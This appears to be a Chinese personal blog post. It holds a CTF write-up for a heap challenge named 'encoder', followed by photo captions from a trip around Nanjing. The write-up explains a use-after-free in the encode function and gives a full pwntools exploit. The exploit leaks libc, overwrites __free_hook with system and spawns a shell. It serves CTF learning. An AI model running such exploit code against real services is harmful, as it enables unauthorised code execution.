小前言:

这次比赛拿了个第10名,不知道能不能进决赛,全靠学长带飞,非常感谢学长,太厉害了,神中神。比赛没包午饭,早知道就多偷点零食了,本篇看着是wp但是我也只会一题,还是学长指导的hh,要学习的前面看看就行了,后面是我比赛后外面玩拍的些照片(可以略过(●’◡’●))。

encoder

upload函数,能在size小于原本的size情况下,去修改原来chunk的大小

image-20250323221807088

download函数可以泄露数据

image-20250323221727455

在encode函数中我们注意到当size大于0x10时会释放堆块,并且不修改 heap指针为0,但是后面的encode分支当加密长度返回小于等于0x10时,并不会对原来heap指针修改,这个时候就会留有指针残留,造成uaf。

image-20250323221656663

相反release中比较安全,会指针置零

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64')

# p=process('./encoder')
p=remote('ip',port)
libc=ELF('./libc-2.31.so')

class encoder:
def __init__(self,):
pass
def upload(self,idx,size,content):
global p
p.sendlineafter(">>",str(1))
p.sendlineafter("FileIdx: ",str(idx))
p.sendlineafter("FileSize: ",str(size))

p.sendafter("FileData: ",content)
def download(self,idx):
p.sendlineafter(">>",str(2))
p.sendlineafter("FileIdx: ",str(idx))
def encode(self,idx):
p.sendlineafter(">>",str(3))
p.sendlineafter("FileIdx: ",str(idx))
def decode(self,idx):
p.sendlineafter(">>",str(4))
p.sendlineafter("FileIdx: ",str(idx))
def release(self,idx):
p.sendlineafter(">>",str(5))
p.sendlineafter("FileIdx: ",str(idx))
encoder_p = encoder()
encoder_p.upload(0,0x80,b'a'*0x80)
for i in range(1,1+7):
encoder_p.upload(i,0x80,b'a'*0x80)
encoder_p.encode(0)

encoder_p.upload(15,0x80,b'a'*0x80)
encoder_p.upload(0,0x80,b'a'*0x80)
encoder_p.encode(0)
encoder_p.upload(16,0x80,b'a'*0x80)

for i in range(1,1+7):
encoder_p.release(i)
encoder_p.release(15)
encoder_p.download(16)

p.recvuntil(b'FileData: ')
libc_base=u64(p.recv(8))-0x1ecbe0
print(f"libc_base -> {hex(libc_base)}")

system=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']

encoder_p.upload(20,0x80,b'a'*0x80) #pad
encoder_p.upload(0,0x80,b'a'*0x80)
encoder_p.encode(0)

encoder_p.upload(0,0x8,p64(free_hook))

payload=b'/bin/sh\x00'.ljust(0x80,b'a')
encoder_p.upload(21,0x80,payload) #pad
encoder_p.upload(22,0x80,p64(system)*(0x80//8)) #pad
encoder_p.release(21)


p.interactive()

题目就到这里 下面是一些照片记录下

image-20250323222625539

这个忘记在哪里了

image-20250323222729217

梧桐大道 最喜欢的一张,光秃秃的,可惜,偏我来时不逢春 就和我以前一样,遗憾总是贯穿人生始终。

image-20250323224304568

夫子庙旁拍的

image-20250323223307719

image-20250323223418205

俩张秦淮河 俩座桥我互相拍。

image-20250323223624661

鸡鸣寺旁的樱花

image-20250323223653107

玄武湖大门口

image-20250323224233031

image-20250323224354814

玄武湖

就这些也差不多了 一路上都是一些小情侣,真的挺羡慕的,唉我也想要😭😭😭